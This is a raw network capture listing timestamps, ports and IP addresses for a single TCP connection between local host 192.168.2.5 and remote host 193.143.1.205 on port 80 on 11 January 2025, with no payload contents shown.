Jan 11, 2025 07:28:56.487159014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.487164021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.487169027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.487169981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.487196922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.499483109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499500036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499511957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499522924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499536037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499551058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499556065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.499563932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499574900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499584913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499588013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.499608994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.499619007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499629974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499635935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.499639034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499650002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499660015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499664068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.499680042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.499681950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499727964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.499768019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499778986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499788046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499798059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499806881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499808073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.499861002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499871969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499881029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.499887943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499897003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499911070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.499949932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499962091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499968052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.499973059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.499984026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500000000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500024080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500035048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500041008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500066042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500067949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500081062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500089884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500112057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500173092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500184059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500190020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500194073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500209093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500284910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500294924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500303984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500314951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500324965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500325918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500340939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500351906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500364065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500364065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500381947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500416994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500433922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500479937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500492096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500498056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500524044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500571966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500582933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500592947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500602961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500613928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500627995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500669003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500680923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500688076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500708103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500801086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500813007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500823021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500833035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500842094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500843048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500854969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500864983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500871897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500874996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500885963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500896931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.500899076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.500919104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.501019955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501035929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501046896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501056910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501060963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.501087904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.501136065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501147985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501157999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501168013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501178026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501178980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.501188993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.501215935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.501374960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501386881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501396894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501406908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501416922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.501419067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501429081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501440048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501452923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.501456022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501467943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501478910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501481056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.501497984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.501665115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501676083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501682043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.501687050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501703024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501713991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501720905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.501724005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501734018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.501734972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501745939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501758099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501761913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.501776934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.501846075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501857042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501866102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501876116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501885891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501888037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.501899004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501910925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.501918077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.501931906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.503094912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.506721020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.545442104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.545456886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.545466900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.545478106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.545490980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.545501947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.545511961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.545517921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.545523882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.545567036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.545567036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.556718111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.556745052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.556756973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.556778908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.556791067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.556814909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.556864023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.556875944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.556880951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.556900024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.556905985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.556942940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.577953100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.577975988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.577986956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.578017950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.578073025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.578085899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.578097105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.578108072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.578123093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.578152895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.590332985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590370893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590382099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.590384007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590452909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590464115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590468884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.590476036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590537071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590548038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590553045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.590583086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590584993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.590595007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590676069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590687990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590692997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.590698004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590708971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590719938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590724945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.590739965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.590858936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590871096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590876102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.590881109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590892076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590902090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.590907097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.590933084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.591002941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591013908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591025114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591048956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.591097116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.591097116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591108084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591118097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591140985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.591293097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591305017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591325998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591334105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.591337919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591433048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.591577053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591588020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591598988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591609955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591619968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591620922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.591630936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591640949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591651917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591653109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.591662884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591665030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.591701984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.591701984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.591835976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591846943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591859102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591869116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591880083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591883898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.591891050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591901064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591912031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591916084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.591922045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.591926098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.591944933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.592109919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592122078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592132092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592150927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592154026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.592161894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592170954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.592173100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592186928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592196941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592200041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.592209101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592214108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.592413902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592426062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592431068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.592437029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592448950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592464924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.592617989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592629910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592634916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.592639923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592650890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592660904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592662096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.592672110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592681885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592686892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.592693090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592704058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.592705965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.592772961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.611839056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.611850977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.611862898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.611908913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.611926079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.611938000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.611948967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.611963034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.611973047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.611975908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.611994028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.612037897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.612049103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.612065077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.612072945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.612078905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.612086058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.612106085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.612128973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.612137079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.612149000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.612179995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.612299919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.612310886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.612322092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.612337112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.612346888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.612348080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.612359047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.612370014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.612371922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.612380981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.612389088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.612390995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.612418890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.624408007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.624464035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.624470949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.624521971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.624556065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.624581099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.624588966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.624658108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.636326075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.636362076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.636394024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.636420965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:28:56.636850119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:28:56.636883974 CET	80	49704	193.143.1.205	192.168.2.5
